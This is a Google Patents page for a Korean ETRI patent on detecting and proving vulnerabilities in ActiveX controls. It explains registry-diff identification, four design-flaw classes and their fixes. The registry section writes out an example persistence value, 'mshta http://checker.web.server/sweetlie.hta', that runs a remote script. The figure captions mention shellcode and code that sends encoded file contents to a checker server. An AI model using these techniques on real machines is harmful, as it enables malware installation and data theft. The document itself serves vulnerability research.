KR20070092403A - Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control - Google Patents

Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control Download PDF

Info

Publication number
KR20070092403A
KR20070092403A KR1020060022484A KR20060022484A KR20070092403A KR 20070092403 A KR20070092403 A KR 20070092403A KR 1020060022484 A KR1020060022484 A KR 1020060022484A KR 20060022484 A KR20060022484 A KR 20060022484A KR 20070092403 A KR20070092403 A KR 20070092403A
Authority
KR
South Korea
Prior art keywords
activex control
vulnerability
file
shellcode
com
Prior art date
Application number
KR1020060022484A
Other languages
Korean (ko)
Other versions
KR100821614B1 (en
Inventor
김수용
손기욱
Original Assignee
한국전자통신연구원
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 한국전자통신연구원 filed Critical 한국전자통신연구원
Priority to KR1020060022484A priority Critical patent/KR100821614B1/en
Publication of KR20070092403A publication Critical patent/KR20070092403A/en
Application granted granted Critical
Publication of KR100821614B1 publication Critical patent/KR100821614B1/en

Links

Images

Classifications

    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F9/00Arrangements for program control, e.g. control units
    • G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
    • G06F9/44Arrangements for executing specific programs
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F9/00Arrangements for program control, e.g. control units
    • G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
    • G06F9/44Arrangements for executing specific programs
    • G06F9/445Program loading or initiating
    • G06F9/44589Program code verification, e.g. Java bytecode verification, proof-carrying code

Abstract

A method for checking/providing vulnerability of ActiveX control, and a device and the method for identifying the same are provided to check/prove the vulnerability of the ActiveX control, which is installed by a predetermined website or installed with a predetermined program, from identification to reverse engineering. A main module stores all registry information under an HKEY_CLASSES_ROOT CLSID registry, and identifies COM having a difference by comparing stored registry information with the registry information before/after installation of the predetermined program. A test module checks over whether the COM having the difference provides an IDispathc or IDispathcEx interface. The test module continuously performs a task by executing again the other test module if the test module is abnormally terminated while performing an interface checking task.

Description

ActiveX Control 취약점 검사 및 검증 방법과 ActiveX Control 식별 장치 및 방법{METHOD FOR FINDING AND PROVING VULNERABILITY IN ACTIVEX CONTROL AND APPARATUS AND METHOD FOR IDENTIFYING ACTIVEX CONTROL} METHOD FOR FINDING AND PROVING VULNERABILITY IN ACTIVEX CONTROL AND APPARATUS AND METHOD FOR IDENTIFYING ACTIVEX CONTROL} How to Check and Validate Vulnerabilities in ActiveX Control

도 1은 자동 업데이트 모듈의 예, 1 is an example of an automatic update module;

도 2는 업데이트 정보 파일의 예, 2 is an example of an update information file;

도 3은 파일 쓰기 취약점을 가진 프로그램의 예, 3 is an example of a program having a file write vulnerability,

도 4는 레지스트리 쓰기 취약점의 예, 4 is an example of a registry write vulnerability,

도 5는 프로세스 실행 취약점의 예, 5 is an example of a process execution vulnerability,

도 6은 OLE/COM Object Viewer를 이용하여 Type Library를 열람하는 예, 6 illustrates an example of reading a Type Library using an OLE / COM Object Viewer.

도 7은 이중 인터페이스, 7 is a dual interface,

도 8은 Method, Property, Event의 시작주소를 찾기 위한 Pseudo code, 8 is a pseudo code for finding a start address of a method, a property, an event,

도 9는 문자열 변환 과정의 예, 9 is an example of a string conversion process;

도 10은 Alphanumeric 쉘코드 구조, 10 is an Alphanumeric shellcode structure,

도 11은 Venetian Method를 이용한 Unicode 쉘코드, 11 is a Unicode shell code using the Venetian Method,

도 12는 http-equiv에 의해 제안된 바이너리 파일 생성 기법의 예, 12 is an example of a binary file generation scheme proposed by http-equiv,

도 13은 ByteRage에 의해 제안된 바이너리 파일 생성 기법의 예, 13 is an example of a binary file generation scheme proposed by ByteRage,

도 14는 바이너리 파일 생성을 위한 debug.com 입력 파일 예, 14 shows an example of a debug.com input file for generating a binary file;

도 15는 바이너리 파일 내용을 인코딩하여 외부(checker.web.server)에 전송하는 코드의 예이다. 15 is an example of code for encoding binary file contents and transmitting them to the outside (checker.web.server).

본 발명은 ActiveX Control 취약점 검사 및 검증 방법과 ActiveX Control 식별 장치 및 방법에 관한 것으로, 더욱 상세하게는 특정 웹사이트에서 설치하거나 다른 프로그램과 함께 설치되는 ActiveX Control 취약점을 검사 및 검증하고, ActiveX Control 취약점 검사 및 검증 이전에 보안상 위해요소가 될 수 있는 ActiveX Control을 식별하는 ActiveX Control 취약점 검사 및 검증 방법과 ActiveX Control 식별 장치 및 방법에 관한 것이다. The present invention relates to an ActiveX Control vulnerability inspection and verification method and an ActiveX Control identification device and method, and more particularly, to inspect and verify an ActiveX Control vulnerability installed on a specific website or installed with another program, and to check an ActiveX Control vulnerability. And an ActiveX control vulnerability inspection and verification method for identifying an ActiveX control which may be a security risk before verification, and an ActiveX control identification device and method.

최근 웹 사이트들은 HTML과 스크립트 언어의 한계를 뛰어넘어 사용자에게 다양한 서비스를 제공하기 위해 많은 ActiveX Control들을 배포하고 있다. 하지만, ActiveX Control은 웹 페이지나 이메일을 통해 실행될 수 있기 때문에 안전하지 못한 ActiveX Control은 개인 PC 보안에 치명적인 약점이 될 수 있다. 그럼에도 불구하고 대부분의 ActiveX Control들은 안전성에 대한 검증 없이 사용자들에게 배포되고 있어 많은 개인 PC들이 외부의 침입에 노출되고 있다. ActiveX Control의 취약 점을 줄이기 위해서는 제 3자에 의한 취약점 검사와 검증이 필요할 뿐만 아니라, ActiveX Control 취약점 검사 및 검증 이전에 보안상 위해요소가 될 수 있는 ActiveX Control을 식별하는 과정이 필요하다. Recently, web sites are distributing many ActiveX controls to provide various services to users beyond the limits of HTML and scripting languages. However, because ActiveX Controls can be executed via web pages or emails, insecure ActiveX Controls can be a fatal weakness in personal PC security. Nevertheless, most ActiveX Controls are distributed to users without safety verification, and many personal PCs are exposed to external intrusions. In order to reduce the vulnerability of ActiveX Control, not only need to check and verify the vulnerability by a third party, but also identify the ActiveX Control which may be a security risk before checking and verifying ActiveX Control.

웹 페이지만으로 사용자에게 제공할 수 있는 서비스는 매우 제한적이다. HTML과 스크립트 언어를 이용해서 PC의 자원에 접근하는 것은 보안상의 이유로 극히 제한되어 있기 때문이다. 스크립트 언어들의 한계를 극복하고, 다양한 서비스를 제공하기 위해 ActiveX Control을 사용한다. ActiveX Control은 스크립트 언어에서 사용할 수 있으며, 일반 응용프로그램과 동일한 권한으로 실행된다. 이로 인해 ActiveX Control이 보안 취약점을 가지고 있으면, ActiveX Control이 설치된 PC는 심각한 보안 위협에 직면한다. 희생자가 악성 스크립트를 포함한 웹 페이지나 이메일을 열람하는 순간 악성 스크립트는 취약한 ActiveX Control을 실행하여 희생자 PC에 악의적인 행위를 수행할 수 있기 때문이다. 따라서, 개발자들은 모든 보안 문제들을 고려하여 안전한 ActiveX Control을 개발해야 하지만, 아직까지 많은 개발자들은 보안에 대한 고려 없이 ActiveX Control들을 개발하고 있다. There are very limited services that can be provided to the user by using only a web page. Access to PC resources using HTML and scripting languages is extremely limited for security reasons. Overcome the limitations of scripting languages and use ActiveX Controls to provide a variety of services. ActiveX Control can be used in scripting languages and runs with the same permissions as a regular application. Because of this, if ActiveX Controls have security vulnerabilities, PCs with ActiveX Controls face serious security threats. The moment a victim views a web page or email containing a malicious script, the malicious script can execute a vulnerable ActiveX control to perform malicious behavior on the victim's PC. Therefore, developers should develop a secure ActiveX control in consideration of all security problems, but many developers have developed ActiveX controls without considering security.

ActiveX Control의 안전성을 향상시키기 위해서는 제 3자에 의한 취약점 검사가 필요하지만, 현재 관련 연구가 매우 미흡한 실정이다. 특히 일반 응용프로그램들의 취약점 검증에는 국외에서 개발된 기술들을 별다른 수정 없이 국내에서도 사용할 수 있지만, ActiveX Control의 취약점 검증에는 국내 환경과 국외 환경의 차이로 인해 관련 기술들을 그대로 사용하기 어렵다. In order to improve the safety of ActiveX Control, it is necessary to check the vulnerability by a third party, but the related research is very insufficient. In particular, although the developed technologies can be used in Korea without any modification for the vulnerability verification of general applications, related technologies cannot be used as it is due to the difference between domestic and foreign environment.

그러면, 여기서 ActiveX Control의 취약점 유형에 대해 설명한다. This section describes the types of vulnerabilities in ActiveX Control.

ActiveX Control 취약점은 합법적인 권한이 없는 사용자가 시스템의 자원에 접근하는 것을 허용하는 코딩상의 실수나 디자인상의 오류를 말한다. 일반 응용프로그램의 취약점은 코딩상의 실수로 인해 발생하는 경우가 대부분이지만, ActiveX Control의 취약점은 디자인 오류에서 기인하는 경우가 많다. 많은 ActiveX Control 개발자들은 정상적인 시스템 자원 접근을 위해 개발한 메소드(Method), 속성(Property), 이벤트(Event)들이 의도한 목적 이외에 악의적인 목적으로 이용될 수 있음을 간과하고 있기 때문이다. 예를 들면, 사용자가 인터넷 뱅킹에 접속할 때 보안 프로그램을 실행해주는 ActiveX Control을 개발하는 경우 개발자들은 ActiveX Control의 기능을 의도한 보안 프로그램만 실행할 수 있도록 제한해야 하지만, 임의의 모든 프로그램들을 실행할 수 있도록 개발하는 경우가 많다. 이는 ActiveX Control의 융통성을 위해서이지만, 악의적인 프로그램도 실행할 수 있는 디자인 오류로 인한 취약점을 발생시킨다. 본 장에서는 디자인 오류로 인해 자주 발생하는 대표적인 4가지 취약점에 대해 기술한다. ActiveX Control vulnerabilities are coding errors or design errors that allow unauthorized unauthorized users to access system resources. Common application vulnerabilities are often caused by coding mistakes, but ActiveX control vulnerabilities are often caused by design errors. Many ActiveX Control developers overlook the fact that methods, properties, and events developed to access normal system resources can be used for malicious purposes in addition to their intended purpose. For example, if you develop an ActiveX Control that runs a security program when a user accesses Internet banking, developers should restrict the ActiveX control's functionality to only the intended security program, but run any program. Many times. This is because of the flexibility of the ActiveX control, but it creates a vulnerability due to a design error that could allow a malicious program to run. This chapter describes four common vulnerabilities that are frequently caused by design errors.

1. 자동 업데이트 모듈 취약점1. Auto Update Module Vulnerability

자동 업데이트 모듈은 업데이트된 파일들을 PC에 자동으로 설치하기 위한 프로그램이다. 사용자의 개입 없이 프로그램의 상태를 항상 최신으로 유지할 수 있다는 장점 때문에 최근 들어 많은 ActiveX Control들은 자동 업데이트 모듈을 포함하고 있다. The auto update module is a program for automatically installing updated files on a PC. Recently, many ActiveX Controls include an automatic update module because of the advantage of keeping the program up to date without user intervention.

자동 업데이트 모듈은 업데이트 서버에서 업데이트 정보 파일을 다운받아 업 데이트 필요 여부를 판단하고 업데이트가 필요할 경우 업데이트 파일들을 다운받아 PC에 설치한다. The automatic update module downloads the update information file from the update server, determines whether the update is necessary, and downloads the update files and installs them on the PC if an update is required.

도 1은 자동 업데이트 모듈의 예이다. 도 1에서 StartUpdate Method의 첫 번째 인자는 업데이트 서버 주소이고, 두 번째 인자는 업데이트 정보 파일의 이름이다. 따라서, 자동 업데이트 모듈은 StartUpdate Method가 호출되면, update.web.server로부터 setup.conf를 다운받아 업데이트 필요 여부를 판단한다. 1 is an example of an automatic update module. In FIG. 1, the first argument of the StartUpdate Method is the update server address, and the second argument is the name of the update information file. Therefore, when the StartUpdate Method is called, the auto update module downloads setup.conf from update.web.server and determines whether an update is required.

도 2는 업데이트 정보 파일의 예이다. 도 2에서 업데이트 정보 파일의 내용은 버전 1.2인 sweetlie.exe 파일을 update.web.server에서 다운받아 시스템 폴더에 복사한 뒤 실행하라는 의미를 담고 있다. 2 is an example of an update information file. The content of the update information file in FIG. 2 means that the sweetlie.exe file, which is version 1.2, is downloaded from update.web.server, copied to the system folder, and executed.

사용자가 도 1의 웹 페이지를 열람하는 순간 PC에 설치된 updateX는 실행되고, update.web. server로부터 setup.conf를 다운받는다. 만약 sweetlie.exe 라는 파일의 버전이 1.2미만이라면 update.web.server로부터 sweetlie.exe 파일을 다운받아 시스템 폴더에 복사한 뒤 실행한다. As soon as the user browses the web page of Fig. 1, updateX installed on the PC is executed, and update.web. Download setup.conf from the server. If the version of sweetlie.exe is less than 1.2, download sweetlie.exe from update.web.server and copy it to the system folder.

자동 업데이트 취약점은 업데이트 서버와 업데이트 정보 파일의 내용을 변조하여 악성 프로그램을 희생자 PC에 설치할 수 있는 취약점이다. 악의의 사용자는 도 1에서 업데이트 서버를 자신의 웹 서버로 변경하여 희생자에게 이메일을 전송하면, 희생자는 이메일을 열람하는 순간 updateX가 실행되고, 변경된 웹 서버로 업데이트 정보 파일을 요청한다. updateX는 변조된 업데이트 정보파일을 통해 업데이트가 필요하다고 판단하고, 악의의 사용자가 제공하는 악성 프로그램을 희생자 PC에 설치한다. The automatic update vulnerability is a vulnerability that can install malicious programs on victim's PCs by altering the contents of the update server and update information files. When the malicious user changes the update server to his web server in FIG. 1 and sends an email to the victim, the victim executes updateX at the moment of reading the email, and requests the update information file from the changed web server. updateX determines that an update is needed through a modified update information file, and installs a malicious program provided by a malicious user on the victim's PC.

자동 업데이트 모듈이 이런 취약점을 내포하지 않기 위해서는 업데이트 서버 주소를 변경할 수 없어야 한다. 도 1의 예는 첫 번째 인자 값에 따라 업데이트 서버 주소가 변경될 수 있다. 보안을 위해서는 업데이트 서버 주소를 변경할 수 없도록 소스코드에 고정하는 것이 바람직하지만, 많은 개발자들은 융통성을 위해 도 1과 같이 업데이트 서버 주소를 변경할 수 있도록 개발한다. 만약 반드시 업데이트 서버 주소를 변경할 수 있도록 개발해야 하는 경우에는 외부에서 받은 파일들에 대한 검증 메커니즘이 존재해야 한다. 즉, 자동 업데이트 모듈은 업데이트 서버에서 업데이트 정보 파일과 업데이트 파일들을 다운받을 때 서명 값을 함께 받아 신뢰하는 제공자에 대한 인증과 수신된 파일들에 대한 무결성을 검증해야 한다. In order for the auto-update module to not contain this vulnerability, it must not be possible to change the update server address. In the example of FIG. 1, the update server address may be changed according to the first parameter value. For security, it is desirable to fix the update server address so that it cannot be changed, but many developers develop to change the update server address as shown in FIG. 1 for flexibility. If you must develop to change the update server address, there must be a verification mechanism for externally received files. In other words, when downloading the update information file and the update files from the update server, the automatic update module receives the signature value and verifies the integrity of the received files and the authentication of the trusted provider.

2. 파일 쓰기/읽기/삭제 취약점2. File Write / Read / Delete Vulnerability

파일 관련 취약점은 사용자 PC의 파일들을 정상적으로 접근하기 위해 만든 Method, Property, Event에 적절한 제한을 가하지 않기 때문에 발생한다. 파일 읽기 취약점과 파일 삭제 취약점은 Method, Property, Event의 인자 값으로 파일명을 입력하면 해당 파일을 읽어 오거나 삭제할 수 있는 취약점이다. 파일 쓰기 취약점은 Method, Property, Event의 인자 값으로 파일명과 파일 내용을 입력하면 희생자 PC에 악의적인 내용을 포함한 파일을 생성할 수 있는 취약점이다. 파일 쓰기 취약점을 이용하여 “시작프로그램” 폴더에 악성 프로그램을 생성하면 재로그인시 악성 프로그램이 설치될 수 있다. 도 3은 파일 쓰기 취약점을 가진 프로그램의 예이다. File-related vulnerabilities occur because they do not impose appropriate restrictions on the methods, properties, and events created to access files on the user's PC normally. The file read vulnerability and the file delete vulnerability are vulnerabilities that can read or delete a file by inputting a file name as an argument value of method, property, or event. The file write vulnerability is a vulnerability that can create a file containing malicious contents on the victim's PC by inputting the file name and file content as argument values of Method, Property, and Event. If a malicious program is created in the "Startup" folder using the file write vulnerability, the malicious program may be installed when the user logs in again. 3 is an example of a program with a file write vulnerability.

파일 관련 취약점을 갖지 않기 위해서는 제한된 파일 접근만을 허용해야 한다. 도 3에서 파일 쓰기 취약점이 존재하지 않기 위해서는 WriteFile의 매개변수로 파일명과 파일내용을 입력받지 않고, 소스코드 수준에서 접근하려는 파일과 필요한 파일 내용을 고정하여 외부의 사용자가 임의로 변경할 수 없도록 해야 한다. To avoid file-related vulnerabilities, only restricted file access should be allowed. In order to prevent the file writing vulnerability in FIG. 3, the file name and the file content are not inputted as parameters of WriteFile, and the file to be accessed at the source code level and the necessary file content are fixed so that an external user cannot change it arbitrarily.

3. 레지스트리 쓰기/읽기/삭제 취약점3. Registry Write / Read / Delete Vulnerability

레지스트리 관련 취약점은 사용자 PC의 레지스트리를 정상적으로 접근하기 위해 만든 Method, Property, Event에 적절한 제한을 가하지 않아 발생한다. 레지스트리 읽기 취약점과 레지스트리 삭제 취약점은 Method, Property, Event의 인자 값으로 레지스트리 키 값을 입력하면 해당 레지스트리 키에 대한 값을 읽어 오거나 해당 레지스트리 키를 삭제할 수 있는 취약점이다. 레지스트리 쓰기 취약점은 악성 프로그램 설치가 가능한 취약점으로 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] 등에 “mshta http://checker.web.server/sweetlie.h ta” 문자열 값을 생성하면, 악성 프로그램이 설치될 수 있는 위험한 취약점이다. 도 4는 레지스트리 쓰기 취약점의 예이다. Registry-related vulnerabilities are caused by not applying appropriate restrictions to the methods, properties, and events created to access the registry of the user's PC normally. The registry read vulnerability and the registry delete vulnerability are vulnerabilities that can read the value of the registry key or delete the registry key when the registry key value is entered as the argument value of the method, property, or event. The Registry Write Vulnerability is a vulnerability that can be installed by malicious programs. If the “mshta http: //checker.web.server/sweetlie.h ta” string value is generated in [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run], the malicious program This is a dangerous vulnerability that can be installed. 4 is an example of a registry write vulnerability.

레지스트리 관련 취약점을 갖지 않기 위해서는 제한된 레지스트리 접근만을 허용해야 한다. 즉, 도 4에서 레지스트리 쓰기 취약점을 갖지 않기 위해서는 WriteReg의 매개변수로 레지스트리 키와 값을 입력받지 않고, 소스코드 수준에서 접근하려는 레지스트리 키와 필요한 값을 고정하여 외부의 사용자가 임의로 변경할 수 없도록 해야 한다. To avoid having a registry vulnerability, only limited registry access should be allowed. That is, in order not to have a registry write vulnerability in FIG. 4, a registry key and a required value must be fixed at a source code level without receiving a registry key and a value as a parameter of WriteReg, so that an external user cannot change it arbitrarily. .

4. 프로세스 실행/종료 취약점4. Process Execution / Termination Vulnerability

프로세스 관련 취약점은 정상적으로 사용자 PC에서 특정 프로그램을 실행하거나 종료하기 위해 만든 Method, Property, Event에 적절한 제한을 가하지 않기 때문에 발생한다. 프로세스 실행 취약점은 Method, Property, Event의 인자 값으로 실행파일명과 매개변수를 입력하면 해당 프로그램을 실행할 수 있는 취약점이다. 프로세스 실행 취약점의 경우 mshta.exe 프로그램을 이용하여 원격에 있는 악성 스크립트를 실행하여 악성 프로그램 설치가 가능한 매우 위험한 취약점이다. 프로세스 종료 취약점은 Method, Property, Event의 인자 값으로 윈도우의 타이틀 이름이나 프로세스 아이디를 입력하면 해당 프로세스를 종료시킬 수 있는 취약점이다. 도 5는 프로세스 실행 취약점의 예이다. Process-related vulnerabilities occur because they do not impose appropriate restrictions on methods, properties, and events created to execute or terminate specific programs on the user's PC. A process execution vulnerability is a vulnerability that can be executed by entering an executable file name and parameters as arguments of methods, properties, and events. The process execution vulnerability is a very dangerous vulnerability that can be installed by executing a malicious script remotely using the mshta.exe program. The process termination vulnerability is a vulnerability that terminates the process when the title or process ID of the window is entered as an argument of Method, Property, or Event. 5 is an example of a process execution vulnerability.

프로세스 관련 취약점을 갖지 않기 위해서는 제한된 프로세스의 실행과 종료만을 허용해야 한다. 즉, 도 5에서 프로세스 실행 취약점을 갖지 않기 위해서는 Run의 매개변수로 파일이름과 인자 값을 입력받지 않고, 소스코드 수준에서 실행하려는 파일이름과 인자 값을 고정하여 외부의 사용자가 임의로 변경할 수 없도록 해야 한다. In order not to have process related vulnerabilities, only limited process execution and termination should be allowed. That is, in order not to have a process execution vulnerability in FIG. 5, a file name and argument values to be executed at the source code level are fixed without receiving a file name and argument values as parameters of Run, so that an external user cannot change them arbitrarily. do.

한편, ActiveX Control 취약점 검사 및 검증 이전에 보안상 위해요소가 될 수 있는 ActiveX Control을 식별하는 방법이 필요한데, 현재로서는 특정 웹사이트 에서 설치되거나 특정 프로그램과 함께 설치되는 ActiveX Control들을 식별할 수 있는 방법이 존재하지 않는다. On the other hand, there is a need to identify an ActiveX control that can be a security risk before ActiveX control vulnerability checking and verification. Currently, there is a way to identify ActiveX controls that are installed from a specific website or installed with a specific program. does not exist.

따라서, 본 발명은 상기한 종래 기술의 문제점을 해결하기 위해 이루어진 것으로서, 본 발명의 목적은 특정 웹사이트에서 설치되거나 특정 프로그램과 함께 설치되는 ActiveX Control의 점검대상 식별부터 Reverse Engineering까지 ActiveX Control 취약점을 검사함과 아울러 검증 방법에 있어 전 세계에서 사용할 수 있도록 하는 ActiveX Control 취약점 검사 및 검증 방법과 ActiveX Control 식별 장치 및 방법을 제공하는데 있다. Accordingly, the present invention has been made to solve the above problems of the prior art, the object of the present invention is to check the ActiveX Control vulnerability from the check object identification to Reverse Engineering of ActiveX Control installed on a specific website or installed with a specific program In addition, it provides an ActiveX Control vulnerability inspection and verification method and an ActiveX Control identification device and method that can be used worldwide for verification methods.

상기와 같은 목적을 달성하기 위한 본 발명의 ActiveX Control 취약점 검사 방법은, 특정 프로그램이 설치되기 전과 설치한 후에 레지스트리 정보를 비교하여 차이가 존재하는 COM을 식별하는 식별 단계; Type Library를 통해 ActiveX Control의 Method, Property, Event를 식별하여 실제로 사용하는 웹 페이지들을 분석함으로써 상기 Method, Property, Event의 로직과 정상적인 매개변수 값을 유추하는 정보 수집 단계; 및 상기 ActiveX Control에 코딩상의 실수나 디자인상의 오류로 인한 취약점의 존재여부를 검사하는 검사 단계를 포함하여 이루어진 것을 특징으로 한다. ActiveX control vulnerability inspection method of the present invention for achieving the above object, the identification step of identifying a COM that a difference exists by comparing the registry information before and after a particular program is installed; An information collection step of inferring logic and normal parameter values of the method, property, and event by analyzing web pages that are actually used by identifying a method, property, and event of an ActiveX control through a type library; And a checking step of checking whether an ActiveX control is present due to a coding mistake or a design error.

한편, 본 발명의 ActiveX Control 취약점 검증 방법은, ActiveX Control에 코딩상의 실수나 디자인상의 오류로 인한 취약점이 존재할 경우에, ActiveX Control의 취약점 검증 코드를 작성할 때 취약점에 대응하여 ActiveX Control에 적합한 쉘코드를 작성하고, 검증 코드가 실행되는 PC의 웹 브라우저 종류와 버전, 운영체제 버전과 언어를 포함한 정보를 확인할 수 있는 웹 브라우저의 오브젝트 모델을 이용하여 리턴 어드레스를 다양화하여 검증 코드를 작성하여 검증을 수행하는 것을 특징으로 한다. On the other hand, in the ActiveX control vulnerability verification method of the present invention, when there is a vulnerability due to a coding mistake or a design error in the ActiveX Control, when writing the vulnerability verification code of the ActiveX Control, shell code suitable for the ActiveX control is generated. Verification is performed by writing verification code by diversifying the return address using the object model of the web browser that can check the information including the web browser type and version, operating system version and language of the PC where the verification code is executed. It is characterized by.

한편, 본 발명의 ActiveX Control 식별 장치는, 레지스트리 HKEY_CLASSES_ROOT\CLSID 하위에 존재하는 모든 레지스트리 정보를 저장하고, 저장된 레지스트리 정보와 특정 프로그램이 설치되기 전과 설치한 후에 레지스트리 정보를 비교하여 차이가 존재하는 COM을 식별하는 메인 모듈; 및 상기 차이가 존재하는 COM에 대해서 IDispatch나 IDispatchEx 인터페이스를 제공하는지 확인하는 테스트 모듈을 포함하는 것을 특징으로 한다. In the meantime, the ActiveX control identification device of the present invention stores all the registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID, compares the stored registry information with the registry information before and after the installation of a specific program, and compares the COM with the difference. A main module for identifying; And a test module for checking whether an IDispatch or IDispatchEx interface is provided to the COM having the difference.

한편, 본 발명의 ActiveX Control 식별 방법은, 특정 프로그램이 설치되기 전과 설치된 후에 레지스트리 정보의 변화를 통해 ActiveX Control을 식별하는 것을 특징으로 한다. On the other hand, the ActiveX control identification method of the present invention is characterized in that the ActiveX control is identified by changing registry information before and after a particular program is installed.

이하, 본 발명의 ActiveX Control 취약점 검사 및 검증 방법과 ActiveX Control 식별 장치 및 방법에 대하여 첨부된 도면을 참조하여 상세히 설명하기로 한다. Hereinafter, an ActiveX control vulnerability inspection and verification method and an ActiveX control identification device and method of the present invention will be described in detail with reference to the accompanying drawings.

ActiveX Control은 Microsoft사에서 마케팅 목적으로 고안하여 매우 범용적인 의미로 사용되고 있다. 이하에서는, COM 객체 중 IDispatch 혹은 IDispatchEx 인터페이스를 제공하여 스크립트 언어에서 호출할 수 있는 프로그램을 ActiveX Control로 정의한다. ActiveX Control은 메소드(Method), 속성(Property), 이벤트(Event)를 제공하며 스크립트 언어에서는 이들을 통해 ActiveX Control의 기능을 사용할 수 있다. ActiveX Control is designed by Microsoft for marketing purposes and is used in a very general sense. In the following, an ActiveX control is defined as a program that can be called from a script language by providing an IDispatch or IDispatchEx interface among COM objects. ActiveX Control provides methods, properties, and events. In scripting languages, ActiveX Controls can be used.

먼저, ActiveX Control의 취약점 검사에 절차 및 관련 기술에 대해 먼저 설명한다. First, the procedure and related technologies are described first in the vulnerability check of ActiveX Control.

제 3자에 의해서 ActiveX Control의 취약점을 검사하기 위해서 주로 사용되는 방법은 Black Box Testing을 위주로 하는 Gray Box Testing 방식이다. 내부 로직에 대한 직접적인 분석 없이 대부분의 점검을 수행하고, 일부분에 대해서만 Reverse Engineering을 통해 내부 로직을 분석하여 취약점 검사를 수행한다. 본 장에서는 ActiveX Control 취약점을 검사하기 위한 절차들을 기술하고, 각 단계별로 필요한 관련 기술들에 대해 제시한다. The most commonly used method to check for vulnerabilities of ActiveX Controls by third parties is Gray Box Testing, which focuses on Black Box Testing. Most of the checks are performed without direct analysis of the internal logic, and only a part of the vulnerability is analyzed by analyzing the internal logic through reverse engineering. This chapter describes the procedures for checking for ActiveX Control vulnerabilities and presents the related technologies required for each step.

점검 대상 식별 단계Identifying Targets

제 3자가 ActiveX Control의 취약점을 검사하기 위해서 처음 수행하는 일은 점검 대상인 ActiveX Control을 식별하는 작업이다. 특정 시점에서 설치되는 ActiveX Control들의 식별은 레지스트리 정보와 COM 인터페이스를 통해 가능하다. ActiveX Control은 COM을 기반으로 하기 때문에 PC에 설치될 때 자신의 CLSID(CLaSs IDentifier)를 레지스트리의 \HKEY_CLASSES_ROOT\CLSID\ 아래에 등록한다. 새로 등록된 CLSID 중 IDispatch나 IDispatchEx 인터페이스를 지원하는 콤포넌트가 ActiveX Control이다. IDispatch, IDispatchEx 지원여부는 IUnknown::QueryInterface를 통해 확인할 수 있다. The first thing a third party does to check for a vulnerability in an ActiveX Control is to identify the ActiveX Control to be inspected. Identification of ActiveX Controls installed at a specific point in time is possible through registry information and COM interface. Because ActiveX Control is COM based, it registers its CLAS ID identifier (CLSID) under \ HKEY_CLASSES_ROOT \ CLSID \ in the registry when it is installed on the PC. Among the newly registered CLSIDs, the component that supports IDispatch or IDispatchEx interface is ActiveX Control. You can check whether IDispatch and IDispatchEx are supported through IUnknown :: QueryInterface.

ActiveX Control의 식별에서 중요한 요인 중 하나는 “Safe for Initialization”과 “Safe for Scripting”의 설정 여부이다. “Safe for Initialization”이나 “Safe for Scripting”이 설정된 경우에는 사용자 동의 없이 ActiveX Control을 사용할 수 있기 때문에 이들 옵션이 설정된 ActiveX Control은 더 위험할 수 있다. 이들 옵션의 설정 여부는 레지스트리와 IObjectSafety 인터페이스를 통해 확인할 수 있다. 레지스트리의 경우 “\HKEY_CLASSES_ROOT\CLSID\해당 콤포넌트의 CLSID\Implemented Categories\”에 “7DD95802-9882-11CF-9FA9-00AA006C42C4”라는 키가 존재하면 “Safe for Initialization”이 설정된 것이다. “Safe for Scripting”이 설정된 경우 “7DD95801-9882-11CF-9FA9-00AA006C42C4”라는 키가 존재한다. 만약 레지스트리에 해당 키들이 존재하지 않더라도 IObjectSafety 인터페이스를 통해 “Safe for Initialization”과 “Safe for Scripting”을 설정할 수 있다. 따라서, IObject Safety::SetInterfaceSafetyOptions를 통해 설정여부를 확인한다.[Microsoft Corporation, “Safe Initiali- zation and Scripting for ActiveX Control”, http://msdn.microsoft.com/ library/default.asp?url=/workshop/ components/activex/safety.asp.]One important factor in identifying ActiveX controls is whether or not "Safe for Initialization" and "Safe for Scripting" are set. If "Safe for Initialization" or "Safe for Scripting" is set, ActiveX Controls with these options can be more dangerous because ActiveX Controls can be used without user consent. You can check whether these options are set through the registry and the IObjectSafety interface. In the case of registry, if “7DD95802-9882-11CF-9FA9-00AA006C42C4” exists in “\ HKEY_CLASSES_ROOT \ CLSID \ CLSID \ Implemented Categories \” of the component, “Safe for Initialization” is set. If "Safe for Scripting" is set, the key "7DD95801-9882-11CF-9FA9-00AA006C42C4" exists. Even if the keys don't exist in the registry, you can set “Safe for Initialization” and “Safe for Scripting” through the IObjectSafety interface. Therefore, check whether it is set through IObject Safety :: SetInterfaceSafetyOptions. [Microsoft Corporation, “Safe Initialization and Scripting for ActiveX Control”, http://msdn.microsoft.com/ library / default.asp? Url = / workshop / components / activex / safety.asp.]

한편, 본 실시예에서는 ActiveX Control을 식별하기 위해 메인 모듈과 테스트 모듈을 마련한다. In the present embodiment, a main module and a test module are provided to identify the ActiveX control.

메인 모듈은 레지스트리 HKEY_CLASSES_ROOT\CLSID 하위에 존재하는 모든 레지스트리 정보들을 저장하고 두 개의 저장된 레지스트리 정보들을 비교하여 차이가 존재하는 COM들을 식별하는 역할을 수행한다. The main module stores all the registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID and compares the two stored registry information to identify the COMs with differences.

